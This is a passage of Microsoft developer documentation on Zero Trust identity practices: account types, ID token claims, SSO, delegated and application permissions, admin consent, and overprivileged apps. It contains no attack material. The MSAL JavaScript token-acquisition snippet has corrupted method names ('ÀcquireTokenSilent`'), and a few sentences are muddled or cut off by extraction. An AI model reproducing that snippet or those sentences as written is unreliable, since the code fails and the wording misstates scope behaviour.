so that your app only requests permissions it needs.
The Microsoft identity platform provides support for specific identity types:
Work or school accounts when the entity has an account in a Microsoft Entra ID
Microsoft personal accounts (MSA) for anyone who has account in Outlook.com,
Hotmail, Live, Skype, Xbox, etc.
External identities in Microsoft Entra ID for partners (users outside of your
organization)
Microsoft Entra Business to Customer (B2C) that allows you to create a solution
that will let your customers bring in their other identity providers. Applications that
use Azure AD B2C or are subscribed to Microsoft Dynamics 365 Fraud Protection
with Azure Active Directory B2C can assess potentially fraudulent activity following
attempts to create new accounts or sign in to the client's ecosystem.
A required part of application registration in Microsoft Entra ID is your selection of

supported account types. While IT Pros in administrator roles decide who can consent to
apps in their tenant, you, as a developer, specify who can use your app based on
account type. When a tenant doesn't allow you to register your application in Microsoft
Entra ID, administrators will provide you with a way to communicate those details to
them through another mechanism.
You'll choose from the following supported account type options when registering your
application.
Accounts in this organizational directory only (O365 only - Single tenant)

Accounts in any organizational directory (Any Azure AD directory -
Multitenant)
Accounts in any organizational directory (Any Azure AD directory -

Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)
Personal Microsoft accounts only

Accounts in this organizational directory only -
single tenant
When you select Accounts in this organizational directory only (O365 only - Single
tenant), you allow only users and guests from the tenant where the developer has
registered their app. This option is the most common for Line of Business (LOB)
applications.
Accounts in any organizational directory only -

multitenant
When you select Accounts in any organizational directory (Any Microsoft Entra
directory - Multitenant), you allow any user from any Microsoft Entra directory to sign
in to your multi-tenant application. If you want to only allow users from specific tenants,
you'll filter these users in your code by checking that the tid claim in the id_token is on
your allowed list of tenants. Your application can use the organizations endpoint or the
common endpoint to sign in users in the user's home tenant. To support guest users
signing in to your multitenant app, you'll use the specific tenant endpoint for the tenant
where the user is a guest to sign in the user.
Accounts in any organizational account and

personal Microsoft accounts
When you select Accounts in any organizational account and personal Microsoft
accounts (Any Microsoft Entra directory - Multitenant) and personal Microsoft
accounts (e.g. Skype, Xbox), you allow a user to sign in to your application with their
native identity from any Microsoft Entra tenant or consumer account. The same tenant
filtering and endpoint usage apply to these apps as they do to multitenant apps as
described above.
Personal Microsoft accounts only

When you select Personal Microsoft accounts only, you allow only users with consumer
accounts to use your app.
Customer facing applications

When you build a solution in the Microsoft identity platform that reaches out to your
customers, usually you don't want to use your corporate directory. Instead, you want the
customers to be in a separate directory so that they can't access any of your company's
corporate resources. To fulfill this need, Microsoft offers Microsoft Entra Business to
Customer (B2C).
Azure AD B2C provides business-to-customer identity as a service. You can allow users
to have a username and password just for your app. B2C supports customers with social
identities to reduce passwords. You can support enterprise customers by federating your
Azure AD B2C directory to your customers' Microsoft Entra ID (or any identity provider
that supports SAML) to OpenID Connect. Unlike a multitenant app, your app doesn't use
the customer's corporate directory where they're protecting their corporate assets. Your
customers can access your service or capability without granting your app access to
their corporate resources.
It's not just up to the developer

While you define in your application registration who can sign in to your app, the final
say comes from the individual user or the admins of the user's home tenant. Tenant
admins often want to have more control over an app than just who can sign in. For
example, they may want to apply a Conditional Access policy to the app or control
which group they allow to use the application. To enable tenant admins to have this
control, there's a second object in the Microsoft identity platform: the Enterprise app.
Enterprise apps are also known as Service Principals.
For apps with users in other tenants or other

consumer accounts
As shown in the diagram below using an example of two tenants (for the fictitious
organizations, Adatum and Contoso), supported account types include the Accounts in
any organizational directory option for a multi-tenant application so that you can allow
organizational directory users. In other words, you'll allow a user to sign in to your
application with their native identity from any Microsoft Entra ID. A Service Principal is
automatically created in the tenant when first user from a tenant authenticates to the
app.

There's only one application registration or application object. However, an Enterprise

app, or Service Principal (SP), in every tenant allows users to sign in to the app. The
tenant admin can control how the app works in their tenant.
Multitenant app considerations

Multitenant apps sign in users from the user's home tenant when the app uses the
common or organization endpoint. The app has one app registration as shown in the
diagram below. In this example, the application is registered in the Adatum tenant. User
A from Adatum and User B from Contoso can both sign into the app with the
expectation User A from Adatum will access Adatum data and that User B from Contoso
will access Contoso data.
As a developer, it's your responsibility to keep tenant information separate. For example,
if the Contoso data is from Microsoft Graph, the User B from Contoso will only see
Contoso's Microsoft Graph data. There's no possibility for User B from Contoso to
access Microsoft Graph data in the Adatum tenant because Microsoft 365 has true data
separation.
In the above diagram, User B from Contoso can sign in to the application and they can
access Contoso data in your application. Your application can use our common (or
organization) endpoints so the user signs in natively to their tenant, requiring no
invitation process. A user can run and sign in to your application and it will work after
the user or tenant admin grants consent.
Collaboration with external users

When enterprises want to enable users who aren't members of the enterprise to access
data from the enterprise, they use the Microsoft Entra Business to Business (B2B)
feature. As illustrated in the diagram below, enterprises can invite users to become
guest users in their tenant. After the user accepts the invitation, they can access data
that the inviting tenant has protected. The user doesn't create a separate credential in
the tenant.
Guest users authenticate by signing in to their home tenant, personal Microsoft

Account, or other IDP account. Guests can also authenticate with a one-time passcode
using any email. After guests authenticate, the inviting tenant's Microsoft Entra ID
provides a token for access to inviting tenant's data.
As a developer, keep these considerations in mind when your application supports guest
users:
You must use a tenant specific endpoint when signing in the guest user. You can't
use the common, organization, or consumer endpoints.
The guest user identity is different from the user's identity in their home tenant or
other IDP. The oid claim in the token for a guest user will be different from the
same individual's oid in their home tenant.
Next steps
How and why apps are added to Microsoft Entra ID explains how application
objects describe an application to Microsoft Entra ID.
Security best practices for application properties in Microsoft Entra ID covers
properties such as redirect URI, access tokens, certificates and secrets, application
ID URI, and application ownership.
Trust principles.
Feedback
Authenticating users for Zero Trust
Article • 04/17/2024
This article helps you, as a developer, to learn best practices for authenticating your
application users in Zero Trust application development. Always enhance your
application security with the Zero Trust principles of least privilege and verify explicitly.
ID tokens in user authentication

When you need a user authenticate to your app, rather than collecting a username and
password, your application can request an identity (ID) token. Authenticating users
through the Microsoft identity platform avoids security risks that arise when your
application retains user credentials. When you request ID tokens, if a bad actor breaches
or compromises your application, there are no usernames and corresponding
passwords, secrets, and certificates in your app.
The Microsoft identity platform ID token is part of the OpenID Connect (OIDC) standard
that specifies ID tokens as JSON Web Tokens (JWT). The JWT long string comprises three
components:
1. Header claims. The header claims present in ID tokens include typ (type claim),
alg (algorithm for signing the token), and kid (thumbprint for the public key to
validate the token's signature).

2. Payload claims. The payload or body (the middle part of a JSON web token)
contains a series of name attribute pairs. The standard requires that there be a
claim with the iss (issuer name) that goes to the application that issued the claim
(the aud , or audience claim).
3. Signature. Microsoft Entra ID generates the token signature that apps can use to
validate that the token is unmodified and you can trust it.
The following example of an ID token shows information about the user and confirms
authentication to use the application.
JSON
{
"typ": "JWT",
"alg": "RS256",
"kid": "1LTMzakihiRla_8z2BEJVXeWMqo"
}.
{
"ver": "2.0",
"iss": "https://login.microsoftonline.com/3338040d-6c67-4c5b-b112-
36a304b66dad/v2.0",
"aud": "6cb04018-a3f5-46a7-b995-940c78f5aef3",
"exp": 1536361411,
"iat": 1536274711,
"nbf": 1536274711,
"sub": "AAAAAAAAAAAAAAAAAAAAAIkzqFVrSaSaFHy782bbtaQ",
"name": "Abe Lincoln",
"preferred_username": "AbeLi@microsoft.com",
"oid": "00000000-0000-0000-66f3-3332eca7ea81",
"tid": "3338040d-6c67-4c5b-b112-36a304b66dad",
}.
.[Signature]
ID tokens in access management

To receive your application (client) ID, register your app with the Microsoft identity
platform. When you receive a token with an audience claim ( aud ) that matches your
app's client ID, the identified user in the token has authenticated to your app. IT admins
may allow all users in the tenant to use your app. They may allow a group of which the
user is a member to use your app.
If you receive a token whose audience claim is different from your app's client ID,
immediately reject the token. The user hasn't authenticated by signing into your app.
They signed into another app. Always make sure that the user has permission to use
your app.
These claims details are important in user authentication:
A JSON web token is valid until it expires. The exp (expiration) claim tells you when
the token expires. If the current time is before the time in the exp claim, the token
is valid.
Don't consider the user as authenticated before the time specified in the nbf (not
before time) claim. The nbf and exp times of the token define the token's valid
lifetime. When the expiration time is imminent, make sure that you get a new ID
token.
The sub (subject claim) is a unique identifier for an application user. The same user
has a different sub claim for other apps. If you want to store data to associate back
to a user and prevent an attacker from making that association, use the subject
claim. Because it doesn't expose the user's Microsoft Entra identity, it's the most
private way to associate data to a user. The sub claim is immutable.
If you want to share information across multiple applications, use the combination
of tenant ID ( tid ) and object ID ( oid ) claims that are unique to the user. The
combined tenant ID and object ID are immutable.
No matter what happens to an individual's identity, the sub , oid , and tid claims
remain immutable. Anything about the user can change and you can still key your
data off identifying the user based on the subject or the combined tid and oid
claims.
Authentication with OIDC

To demonstrate user authentication, let's look at applications that use OIDC to
authenticate a user. The same principles apply to apps that use SAML or WS-Federation.
An app authenticates the user when the application requests an ID token from the
Microsoft identity platform. Workloads (applications that don't have users present but
rather run as services, background processes, daemons) skip this step.
You should always silently ask for this token first. To silently acquire a token in Microsoft
Authentication Libraries (MSAL), your app can start with the AcquireTokenSilent
method. If your app can authenticate without disturbing the user, it receives the
requested ID token.
If the Microsoft identity platform can't complete the request without interacting with the
user, then your app needs to fall back to the MSAL AcquireTokenInteractive method. To
interactively acquire a token, perform the request by opening a web surface to an
address under the https://login.microsoftonline.com domain.
From this web surface, the user has a private conversation with the Microsoft identity
platform. Your app has no view into this conversation, nor does it have any control of
the conversation. The Microsoft identity platform can ask for a user ID and password,
multifactor authentication (MFA), passwordless authentication, or other authentication
interaction that the IT admin or user has configured.
Your application will receive an ID token after the user has performed required
authentication steps. When your app receives the token, you can be certain that the
Microsoft identity platform has authenticated the user. If your app doesn't receive an ID
token, the Microsoft identity platform hasn't authenticated the user. Don't allow
unauthenticated users to continue into secured areas of your app.
It's best practice for applications to create a session for a user after it receives an ID
token from Microsoft Entra ID. In the ID token that an app receives, an expiration ( exp )
claim with a Unix timestamp. This timestamp specifies the on or after expiration time for
which the app mustn't accept the JWT for processing. Use this token expiration time to
drive the lifetime of your user sessions. The exp claim plays a crucial role in keeping an
explicitly verified user in front of the app with the right privilege and for the right
amount of time.
Single Sign On support

Single sign-on (SSO) authentication allows users to sign in with one set of credentials to
multiple independent software systems. SSO allows application developers to not
require a user to sign in to every application separately and repeatedly. At the core of
SSO, developers ensure that all applications on the user's device share the web surface
that authenticates the user. Artifacts on the web surface (such as session state and
cookies) after successful authentication drive SSO.
As illustrated in the following diagram, the simplest use case of a shared web surface is
an app that's running in a web browser (such as Microsoft Edge, Google Chrome,
Firefox, Safari). Browser tabs share the SSO state.
The Microsoft identity platform manages the SSO state in any specific browser unless
the user has different browsers open on the same device. On Windows 10 and newer,
the Microsoft identity platform natively supports browser SSO in Internet Explorer and
Microsoft Edge. When the user has signed into Windows, accommodations in Google
Chrome (via the Windows 10 accounts extension) and in Mozilla Firefox v91+ (via a
browser setting) allow each browser to share the SSO state.
As shown in the following diagram, the native application use case is more complicated.

Auth broker approach

A common pattern is for each native app to have its own embedded WebView that
prevents it from participating in SSO. To address this scenario, Microsoft Entra ID uses
an authentication broker (auth broker) approach for native applications as illustrated in
the following diagram.
With an auth broker in place, applications send authentication requests to the broker
instead of directly to the Microsoft identity platform. In this way, the broker becomes
the shared surface for all authentication on the device.
In addition to providing a shared surface, the auth broker provides other benefits. When
adopting Zero Trust, enterprises may want to have applications run only from enterprise
managed devices. Examples of enterprise device management include full Mobile
Device Management (MDM) and scenarios where users bring their own devices that
participate in Mobile Application Management (MAM).
By design, underlying operating systems (OS) isolate browsers. Developers need a closer
connection with the OS to have full access to device details. In Windows, the auth broker
is the Windows Web Account Manager (WAM). On other devices, the auth broker is
either the Microsoft Authenticator app (for devices running iOS or Android) or the
Company Portal App (for devices running Android). Applications access the auth broker
with MSAL. In Windows, an app can access the WAM without MSAL. However, MSAL is
the easiest way for apps to access the auth broker (especially apps that aren't Universal
Windows Platform apps).
Auth brokers work in combination with Microsoft Entra ID to utilize Primary Refresh
Tokens (PRT) that reduce the need for users to authenticate multiple times. PRTs can
determine whether the user is on a managed device. Microsoft Entra ID requires auth
brokers as it introduces Proof of Possession tokens , a more secure option over the
bearer tokens that are prevalent today.
Next steps
Troubleshoot Microsoft Entra access tokens: Validate an access token describes
how, when you have a Microsoft Entra access token, you verify that certain fields
match the record.
The Increase resilience of authentication and authorization applications you
develop article series addresses apps that use the Microsoft identity platform and
Microsoft Entra ID. They include guidance for client and service applications that
work on behalf of a signed in user and daemon applications that work on their
own behalf. They contain best practices for using tokens and calling resources.
your apps with app role definitions and assign security groups to app roles.
Building apps that secure identity through permissions and consent provides an
overview of permissions and access best practices.
Feedback
Acquiring authorization to access
resources
Article • 04/17/2024
This article will help you, as a developer, to understand how to best ensure Zero Trust
when acquiring resource access permissions for your application. To access protected
resources like email or calendar data, your application needs the resource owner's
authorization. The resource owner can consent to or deny your app's request. Your app
will receive an access token when the resource owner grants consent; your app won't
receive an access token when the resource owner denies access.
Conceptual review
You can use the Microsoft identity platform to authenticate and authorize your
applications and manage permissions and consent. Let's start with some concepts:
Authentication (sometimes shortened to AuthN) is the process of proving that your

claimed identity is accurate. The Microsoft identity platform uses the OpenID
Connect protocol for handling authentication. Authorization (sometimes
shortened to AuthZ) grants an authenticated party permission to do something. It
specifies what data the authenticated party can access. The Microsoft identity
platform uses the OAuth2.0 protocol for handling authorization. Authorization
options include access control lists (ACL), role-based access control, and attribute
access control (ABAC). Authentication is often a factor of authorization.
To access data, your application can use delegated access (acting on behalf of a
signed-in user) or direct access (acting only as the application's own identity).
Delegated access requires delegated permissions (also known as scopes); the client
and the user must be separately authorized to make the request. Direct access may
require application permissions (also known as app roles); when app roles are
granted to applications, they can be called applications permissions.
Delegated permissions, used with delegated access, allow an application to act on

behalf of a user, accessing only what the user can access. Application permission,
used with direct access, allow an application to access any data with which the
permission is associated. Only administrators and owners of service principals can
consent to application permissions.
Applications receive permissions through consent; users or admins authorize an

application to access a protected resource. A consent prompt lists the permissions
that the application requires along with publisher information.
Resource application owners can preauthorize client apps (in the Azure portal or by
using PowerShell and APIs like Microsoft Graph). They can grant resource
permissions without requiring users to see a consent prompt for the set of
permissions that have been preauthorized.
Difference between delegated and application

permission
Applications work in two modes: when a user is present (delegated permission) and
when there's no user (application permission). When there's a user in front of an
application, you're compelled to act on behalf of that user; you shouldn't be acting on
behalf of the application itself. When a user is directing your application, you're acting
as the delegate for that user. You're getting permission to act on behalf of the user that
the token identifies.
Service type applications (background tasks, daemons, server-to-server processes) don't

have users who can identify themselves or type in a password. They require an
application permission to act on behalf of itself (on behalf of the service application).
Zero Trust application authorization best

practices
Your authorization approach will have authentication as a component when you connect
to a user present to the application and to the resource you're calling. When your
application is acting on behalf of a user, we don't trust a calling application to tell us
who the user is or let the application decide who the user is. Microsoft Entra ID will
verify and directly provide information about the user in the token.
When you need to allow your application to call an API or authorize your application so
that the application can access a resource, modern authorization schemes can require
authorization through a permission and consent framework. Reference Security best
practices for application properties that include redirect URI, access tokens (used for
implicit flows), certificates and secrets, application ID URI, and application ownership.
Next steps
increasing application zero trust security with least privilege.
improve flexibility and control while increasing application zero trust security with
least privilege.
Trust principles.
Building apps with a Zero Trust approach to identity continues from the Zero Trust
identity and access management development best practices article to help you
use a Zero Trust approach to identity in your software development Lifecycle
(SDLC).
Feedback
Developing delegated permissions
strategy
Article • 04/17/2024
This article will help you, as a developer, to implement the best approach for managing
permissions in your application and develop using Zero Trust principles. As described in
Acquiring authorization to access resources, delegated permissions are used with
delegated access to allow an application to act on behalf of a user, accessing only what
the user can access. Application permissions are used with direct access to allow an
application to access any data with which the permission is associated. Only
administrators and owners of service principals can consent to application permissions.
The permission and consent models refer primarily to an application. The permission
and consent process has no control over what a user can do. It controls what actions the
application is allowed to perform.
Reference the following Venn diagram. With delegated permissions, there's an

intersection between what the user is allowed to do and what the application is allowed
to do. That intersection is the effective permission by which the application is bound.
Anytime you use a delegated permission, it's bounded by the effective permissions.
For example, your application that has users in front of the app gets permission to
update every user's profile in the tenant. That doesn't mean that anyone running your
application can update anyone else's profile. If the admin decides to grant your
application User.ReadWrite.All , then they believe that your application is doing the
right things when updating any users profile. Your app might log the changes and
properly safeguard the information. The admin makes a value judgment about the
application, not about the user.
Least privilege approach
APIs can be complex. Simple APIs may not have many operations. Complex APIs like
Microsoft Graph encapsulate many requests that an application may want to use. Just
because the application has the right to read doesn't mean it should have the right to
update. For example, Microsoft Graph has thousands of APIs. Just because you have
permission to read the user's profile, there's no reason why you should also have
permission to delete all their OneDrive files.
As a developer, you should:
know which APIs the app calls.

understand the API documentation and what permissions the API requires.
use the least possible permission to accomplish your tasks.
APIs often provide access to organization data stores and attract the attention of
attackers who want to access that data.
Evaluate the permissions you request to ensure that you seek the absolute least
privileged set to get the job done. Avoid requesting higher privilege permissions;
instead, carefully work through the large number of permissions that APIs like Microsoft
Graph provide. Locate and use the minimum permissions to address your needs. If you
won't write code to update the user's profile, you won't request it for your application. If
you only access users and groups, you won't request access to other information in the
directory. You won't request permission to manage user email if you won't write code
that accesses user email.
In Zero Trust application development:
Define your application's intention and what it needs.

Ensure that bad actors can't compromise and use your app in a way that you didn't
intend.
Make requests for approval in which you define your requirements (for example,
read the user's mail).
User and tenant administrator roles in

permission and consent
People who can approve of your requests fall into two categories: admins who can
always consent to permission requests and regular users who aren't admins. However,
the tenant admins have the final say in their tenant regarding which permissions require
admin consent and to which permissions a user can consent.
When an API designer requires admin consent for a permission, that permission will
always require admin consent; a tenant admin can't overrule that and require only user
consent.
When an API designer defines permissions that require user consent, user consent
suggestions by the API designer can be overruled by the tenant admin. The tenant
admins can do that with a "big switch" in the tenant: everything requires admin consent.
They can overrule user consent in a more granular way with permission and consent
management. For example, they may allow users to consent to user consent requests
from verified publishers but not from other publishers. In another example, they may
allow User.Read to sign in the user and read their profile but require admin consent to
apps that ask permission to mail or to files.
API designers make their suggestions but tenant admins have the final say. Therefore, as
a developer, you won't always know when your app requires admin consent. It's nice to
plan and design around that but remember, when you make a token request, it could be
denied for any reason. In your code, you need to gracefully handle not getting a token
because tenant admins in which your customers or users are running your application
decide when permissions require admin consent.
Example using JavaScript MSAL

For the authentication in this example, you'll use our JavaScript Microsoft Authentication
Library (MSAL) to sign in the user in a single page application (SPA) where all the app
logic executes from the browser.
From the related Quickstart article, you can download and run a code sample. It
demonstrates how a JavaScript single-page application (SPA) can sign in users and call
Microsoft Graph using the authorization code flow with Proof Key for Code Exchange
(PKCE). The code sample shows how to get an access token to call the Microsoft Graph
API or any web API.
As shown in the example code below, you'll instantiate a public client because an
application that runs entirely in the browser must be a public client. The user can get
their hands on the internals of your application when the code is in the browser.
JavaScript
// Create the main myMSALObj instance

// configuration parameters are located at authConfig.js
const myMSALObj = new msal.PublicClientApplication(msalConfig);
Then you'll use our MSAL library. In MSAL JavaScript, there's a specific API to sign in.
There are two APIs that utilize specific capabilities within the browser. One is to sign in
with a pop-up experience; the other one is to sign in with a browser redirect experience.
As shown in the code example below, the sign-in pop-up handles the authentication
that the user needs to perform by calling the signIn function.
JavaScript
function signIn() {
/**
* You can pass a custom request object below. This will override the
initial configuration. For more information, visit:
* https://github.com/AzureAD/microsoft-authentication-library-for-
js/blob/dev/lib/msal-browser/docs/request-response-object.md#request
*/
myMSALObj.loginPopup(loginRequest)
.then(handleResponse)
.catch(error => {
console.error(error);
});
}
Your app can get information about the user, such as their display name or user ID.
Next, your app needs authorization to read the full profile of the user from Microsoft
Graph by following a pattern that you'll use throughout our MSAL libraries.
As shown in the example code below, your app attempts to get the authorization by
calling AcquireTokenSilent . If Microsoft Entra ID can issue the token without interacting
with the user, then AcquireTokenSilent will return the token that your app needs to
access Microsoft Graph on behalf of the user.
JavaScript
function getTokenPopup(request) {
/**
* See here for more info on account retrieval:
* https://github.com/AzureAD/microsoft-authentication-library-for-
js/blob/dev/lib/msal-common/docs/Accounts.md
*/
request.account = myMSALObj.getAccountByUsername(username);
return myMSALObj.ÀcquireTokenSilent`(request)
.catch(error => {
console.warn("silent token acquisition fails. acquiring token
using popup");
if (error instanceof msal.InteractionRequiredAuthError) {
// fallback to interaction when silent call fails
return myMSALObj.ÀcquireTokenPopup`(request)
.then(tokenResponse => {
console.log(tokenResponse);
return tokenResponse;
}).catch(error => {
console.error(error);
});
} else {
console.warn(error);
}
});
}
However, often Microsoft Entra ID can't issue the token without interacting with the user
(for example, the user changed their password or they haven't granted consent).
Therefore, AcquireTokenSilent will send an error back to the application it requires user
interaction. When you're your app receives the error, you'll fall back to call
AcquireTokenPopup .
At that point, Microsoft Entra ID will have a conversation with the user so they can
authenticate the user and authorize your app to act on the user's behalf (for example,
do an MFA, provide their password, grant consent). Then your app will get the token
needed to move forward.
A primary step in an enterprise's journey to Zero Trust is to adopt stronger

authentication methods instead of just a user ID and password. The example code
described above fully enables an enterprise to move to the stronger authentication
method that the enterprise chooses. For example, multifactor authentication, fully
passwordless with a FIDO2 key, Microsoft Authenticator.
Next steps
least privilege.
API that needs to call another API and securely develop your application when it's
working on behalf of a user.
Feedback
Developing application permissions
strategy
Article • 04/17/2024
As you learn to develop using Zero Trust principles, reference this article after reviewing
Acquiring authorization to access resources and Developing delegated permissions
strategy. Define your application permissions approach to credential management when
you use the Microsoft identity platform to authenticate and authorize your applications
and manage permissions and consent.
When no user is involved, you won't have an effective permission model because your
application is always granted the same permissions that the specific user of your
application has been granted.
App proves it's the app requesting permission. Your application will prove its own
identity with one of the following methods:
a certificate, which is the best option, or
a secret in a sophisticated secret management system, or
a secret when you're developing your services on Azure and using Managed
Identities for Azure resources. See the following Managing application
credentials section.
App always requires advance admin consent. Your application will request this
permission with the .default scope. It will request the permissions the admin
assigns to the application. Regardless of the naming for any particular scope, these
permissions apply across all users by default.
Trans user functionality. By default, User.ReadWrite.All allows your application to

update every user's profile, even Calendar.Read . As an application permission, it
allows your application to read the Calendar of every user in the tenant.
Permissions granted the app are always the permissions used. Unlike a delegated
permission, application permissions aren't bounded by what any particular user
can do.
Limiting application permissions

There are three ways of limiting an application to less than global access.
Microsoft Teams apps have resource-specific consent (RSC) that allows an

application to access a specific team rather than access all teams in the enterprise.
RSC is a Microsoft Teams and Microsoft Graph API integration that allows your app
to use API endpoints and manage specific resources. Its permissions model
enables Teams and Chat owners to grant consent for your application to access
and modify their Teams and Chat data.
Microsoft Exchange administrators can create Exchange application policies to limit

app access to specific mailboxes with a PowerShell script. They can limit a
particular application to specific mailboxes with Calendar.Read or Mail.Read
access. That allows you to, for example, build an automation that can only read
one mailbox or only send mail from one mailbox and not from everyone in the
enterprise.
SharePoint has Sites.Selected as a specific scope to allow granular permissions

for accessing SharePoint with an application. Choosing Sites.Selected for your
application instead of one of the other permissions will, by default, result in your
application not having access to any SharePoint site collections. The administrator
uses the site permissions endpoint to grant Read, Write, or Read and Write
permissions to your application.
Managing applications credentials

Credential hygiene can ensure that your application quickly recovers from a potential
breach. The following best practices will guide you in developing applications that carry
out detection and remediation while avoiding downtime and affecting legitimate users.
These recommendations support the Zero Trust principle of assume breach in preparing
you to respond to a security incident.
Remove all secrets from code and configuration. When you're using the Azure
platform, place secrets in Key vault and access them via Managed Identities for
Azure resources. Make your code resilient to handle secret rotations if a
compromise occurs. IT admins can remove and rotate secrets and certificates
without taking down your application or affecting legitimate users.
Use certificates instead of client secrets unless a secure process is in place to

manage secrets. Attackers know that client secrets tend to be less securely
handled and leaked secret usage is difficult to track. Certificates can be better
managed and revoked if compromised. When you use secrets, build or use a
secure no-touch deployment and rollover process for them. Use secrets with a set
expiry time period (for example, one year, two years) and avoid never expires.
Regularly roll over certificates and secrets to build resiliency in your application
and avoids outage due to an emergency rollover.
Next steps
Trust principles.
permission and consent experience when application permissions will require
Feedback
Requesting permissions that require
administrative consent
Article • 04/17/2024
In this article, we'll describe the permission and consent experience for a scenario where
you, as a developer, are writing your application code to request application permissions
that will require administrative consent. Example screenshots of permission and consent
dialogs and the Microsoft Entra admin center give you an idea of what your users and
tenant admins experience. Improve collaboration with admins to implement the Zero
Trust principle of least privilege in your applications.
As you develop your application, you'll write code that requests access to a resource by
requesting an access token with a specific scope (or permission). You'll use the scope
parameter as described in the OAuth 2.0 standard that some people describe as a
permission. A resource owner will grant or deny each request for permission. In
Microsoft Entra ID, the resource owner is either the user of the app or an admin who has
the rights to grant consent to that resource on behalf of all users.
User consent experience

When your application requests permission to access a resource, your user may see a
Permissions requested dialog similar to this example.
In the above example dialog, the user grants consent to allow the app to read the data
on their behalf by selecting Accept or denies the request by selecting Cancel. The
application receives an access token and will be able to continue its processes after the
user grants consent. Remember to ensure that your app is ready to gracefully handle
when it doesn't receive a token.
Admin consent experience

For some access requests, only an admin can grant consent. If the requested access is
powerful or involves resources whose owners aren't the current users, code so that only
an admin can grant requests.
However, you never know which permissions will require admin consent and which allow
a regular user to grant consent because tenant admins can configure their tenant with
Do not allow user consent (all permissions require admin consent) as shown in the
following example screenshot of User consent settings in the Microsoft Entra admin
center.
Admins can also Allow user consent for apps from verified publishers, for selected
permissions as shown in the following example screenshot of User consent settings in
the Microsoft Entra admin center.
Admins can then Add permissions to which users can consent as shown in the following
example screenshot of Permission classifications in the Microsoft Entra admin center.

When your app requests a permission that requires admin consent (by design or admin
configuration), your user may see a Need admin approval dialog similar to this example.
The above example dialog shows the default (out of the box) experience for permissions
that require admin consent. Most users don't know what to do in this scenario. They
don't know who their admin is, they don't know who to go to for approval. This
uncertainty can limit the user's ability to achieve desired results.
Improving the permissions and consent

experience
To improve the permissions and consent experience, the tenant admin can configure the
admin consent workflow as shown in the following example screenshot of User settings
in the Microsoft Entra admin center.

Below Admin consent requests, the tenant admin can improve the user's permission
and consent experience by selecting Yes on Users can request admin consent to apps
they're unable to consent to and configuring other Admin consent requests settings.
After the tenant admin selects Yes on Users can request admin consent to apps they're
unable to consent to and an application requests a permission that requires admin
consent, the user will see something similar to the following Approval required dialog
that provides a better user experience.
In the above example dialog, the user can Enter justification for requesting this app
before selecting Request approval. The approval request then enters an Admin consent
requests queue (example screenshot below) where admins have options to review,
accept, or ban applications in their organization based on risk profile.

When an admin runs an application that requires admin consent (and the admin hasn't
yet configured that consent in the Microsoft Entra admin center), the admin user sees a
slightly different Permissions requested dialog similar to the following example.
In the above example, the admin sees a description of the permissions that the
application is requesting. The admin can select Accept to individually run the application
or they can select Consent on behalf of your organization before selecting Accept.
After the admin grants consent for the organization, no future organization users will
need to grant permission for this application unless an admin removes consent from the
tenant Admin consent requests configuration.
Another method of tenant admin consent is in Microsoft Entra admin center

Permissions where admins can review the details of existing permissions the app has
already requested similar to this example.

In the above User consent example, the admin can review the granted permissions for
the app along with information about claims, permission type, and who gave consent.
The admin can select Admin consent to review granted permissions that require admin
consent.
Requesting admin consent in advance

Your best application permissions strategy is to declare in advance all of the permissions
that your app may need or will eventually request when you register your app. You don't
have to request all permissions at the same time but, after you declare all of the
permissions that your app may need, admins can select Grant admin consent for in
your app's configuration in the tenant to display a dialog similar to this example.

The above example shows how the admin can pre-consent to the permissions that you
declared and provide the best experience for your users and tenant admins.
Requesting admin consent ahead of time is an excellent choice for line of business (LOB)
apps, especially the apps that your organization is developing. It's easier to not have to
ask your user if your company can access your company's data by pre-consenting those
applications. You make the admin consent request as part of your app registration
process.
Next steps
Overview of permissions and consent in the Microsoft identity platform helps you
to understand foundational concepts of access and authorization.
Overview of consent and permissions helps you to learn foundational concepts
and scenarios around consent and permissions in Microsoft Entra ID.
Learn module: Permissions and consent framework helps you to learn permissions
and consent framework models.
Learn Live: Microsoft Identity: Permissions and Consent Framework helps you to
learn the basics of Microsoft identity including tokens, account types, and
topologies.
Feedback
Reducing overprivileged permissions
and apps
Article • 04/17/2024
As a developer aiming to design and implement applications that follow the guiding
principles of Zero Trust, you want to increase application security with least privilege. It's
imperative that you reduce the attack surface of your application and the effect of a
security breach.
In this article, you'll learn why applications shouldn't request more permissions than
they need. You'll understand the term overprivileged and discover recommendations and
best practices for limiting privilege in your applications to manage access and improve
security.
What is overprivileged?
Overprivileged occurs when an application requests or receives more permissions than it
needs for it to properly function. The following examples of unused and reducible
permissions will improve your understanding of overprivileged.
Unused permissions
For this unused key example, imagine that there are three locked doors (blue, yellow,
and green) as shown in the diagram below.
Your assets are behind the doors. You have three keys (blue, yellow, and green) that
allow you to open its corresponding door. For example, the blue key can open the blue
door. When you only need access to the yellow door, you only carry the yellow key.
To best protect your assets, you only carry the keys you need when you need them and
keep unused keys in a safe location.
Reducible permissions
The reducible keys example is more complicated than the unused key example to which
we now add two special keys as shown in the diagram below.
The first black key is a pass key that can open all the doors. The second black key can
open the yellow and the green doors. When you only need access to the yellow and the
green doors, you only carry the second black key. You keep your pass key in a safe
location with the redundant green key.
In the Microsoft identity world, the keys are access permissions. Your resources and you,
the key holder, are applications. If you understand the risk of carrying unnecessary keys,
you're aware of the risk of your applications having unnecessary permissions.
Permission gap and risk

How can doors and keys help to understand how overprivileged occurs? Why might
your application have the right permissions to perform a task, but still be
overprivileged? Let's look at the permission gap that might cause the discrepancy in the
diagram below.

The X axis represents Time and the Y axis represents Permissions. At the start of the
measured Time, you request and receive permission for your application. As the
business grows and changes over time, you add new permissions to support your needs
and the slope of Granted Permissions increases. The Permissions Used may be lower
than Granted Permissions when you forget to remove unnecessary permissions (for
example, if the application doesn't break) resulting in a Permission Gap.
Here are interesting observations in the Microsoft identity platform.
We have more than 4,000 APIs in Microsoft Graph.

More than 200 Microsoft Graph permissions are available on Microsoft identity
platform.
Developers have access to a wide range of data and the ability to apply granularity
to the permissions that their apps request.
In our investigations, we found that apps have only 10% fully utilized permissions
for their scenarios.
Think carefully about what permissions your app actually requires. Beware of the
permission gap and regularly check your application permissions.
Security compromised for overprivileged

Let's dive deeper into the risks that result from permission gaps with an example. This
compromising scenario comprises two roles: IT admin and developer.
IT admin: Jeff is a tenant admin who ensures that applications in Microsoft Entra ID
are trustworthy and secure. Part of Jeff's job is to grant consent to permissions that
app developers require.
Developer: Kelly is an app developer who uses Microsoft identity platform and
owns apps. Kelly's job is to ensure that applications have the right permissions to
perform required tasks.
A common security compromise scenario for overprivileged typically has four stages as
shown and described below.
1. First, the developer starts configuring the application and adding required
permissions.
